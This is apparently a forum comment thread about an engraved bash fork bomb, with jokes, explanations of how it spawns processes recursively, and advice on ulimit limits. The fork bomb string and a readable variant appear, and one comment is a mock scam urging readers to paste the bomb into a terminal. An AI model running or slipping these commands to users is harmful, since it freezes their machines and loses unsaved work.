For those who are curious but not dumb.

Whenever I get a free engraving on something, I send this in.

- Oh, this is like when I was in high school and made batch files that open themselves infinitely and named them "not a virus" on the desktop, only to enjoy other students immediately running them.

  In that case...
  
  Hello I am Nigerian Prince and you are last of my bloodline I have many millions of rubles to give you as successor but funds are locked, please type access code :(){:|:&};: into your terminal to unlock 45 million direct to your bank account wire transfer thank you.

- I like your style. How often have you been cursed at?
  
  19
- Does this damage the computer? Or can it be fixed with a restart
  
  11
  
  You just have to restart somehow.
  
  18
  
  No, it'll just lock it up but shouldn't cause any damage or data loss unless you have unsaved work open. A restart should fix it.

  No. The effects of a fork bomb are temporary and are fixed with a restart

At some point the Linux kernel will be patched to detect and terminate forking attacks, and sadly all these memes will be dead.

38
- I doubt it. It's the halting problem. There are perfectly legitimate uses for similar things that you can't detect if it'll halt or not prior to running it. Maybe they'd patch it to avoid this specific string, but you'd just have to make something that looks like it could do something but never halts.

  They could always do what Android does and give you a prompt to force close an app that hangs for too long, or have a default subprocess limit and an optional whitelist of programs that can have as many subprocesses as they want.

- Just set your ulimit to a reasonable number of processes per user and you'll be fine.

How did this one work again? It was something with piping in a backgrounded subshell, right?

30
- It creates a new process that spins up 2 new instances of itself recursively.

  Thanks friend. One question, is it necessary to pipe to itself? Wouldnt : & in the function body work with the same results?

Hard to pronounce but ok I guess.

29
- It's pronounced "forky".
  
  27
Heh, haven't seen the bash forkbomb in close to two decades... Thanks for the trip down memory lane! :)

28
- You know how I know I've gotten better at using linux?
  
  I saw the command and read it and figured out what it was although I've never been exposed to a fork bomb before in my life.
  
  I was like okay, this is an empty function that calls itself and then pipes itself back into itself? What the hell is going on?
  
  I will say that whoever invented this is definitely getting fucked by roko's basilisk, though. The minute they thought of this it was too late for them.

  99.999% of that function's effectiveness is that unix shell, being the ancient dinosaur it is, not just allows : as a function name but also uses the exact same declaration syntax for symbol and alphanumeric functions:
  
  foo(){ foo | foo& }; foo
  
  is way more obvious.
  
  EDIT: Yeah I give up I'm not going to try to escape that &

If you actually want that cat it's Uni

That's not a cat but quite obviously a rabbit.

Does it work on fish shell?

17
- What that garble of symbols does, is that it defines and calls a function named :, which calls itself twice.
  
  The syntax for defining a function is different in Fish, so no, this particular garble will not work:
  
  But it is, of course, possible to write a (much more readable) version that will work in Fish.
  
  25
  
  you can write a more readable version in any shell, it's intentionally unreadable

  The ampersand looks very weird in that font. It would bug me.

  Doesn’t work in nushell, function syntax is different.
  
  Probably still possible, just written differently.

On a modern system it shouldn't be that affected if you configure it right

17
- Sudo fuck my system. There. Got it.

  You laugh but you can configure a hard limit on forks.

Probably the most elaborate Rick roll I've ever received.

It was a death sentence back then, but now I bet those with a threadripper with huge RAM can tank it until it hit ulimit.

13
Eh .. fork you!

touch cat
echo Oreo > cat
cat cat

Edit: for some reason mine's saying Hydrox... results may vary.

I prefer spoon bombs, thanks.

It’s interesting that colon is a valid function name. Replace it with something else and it’s much more clear to understand what is going on here.

Is this Elon Musk's cat?
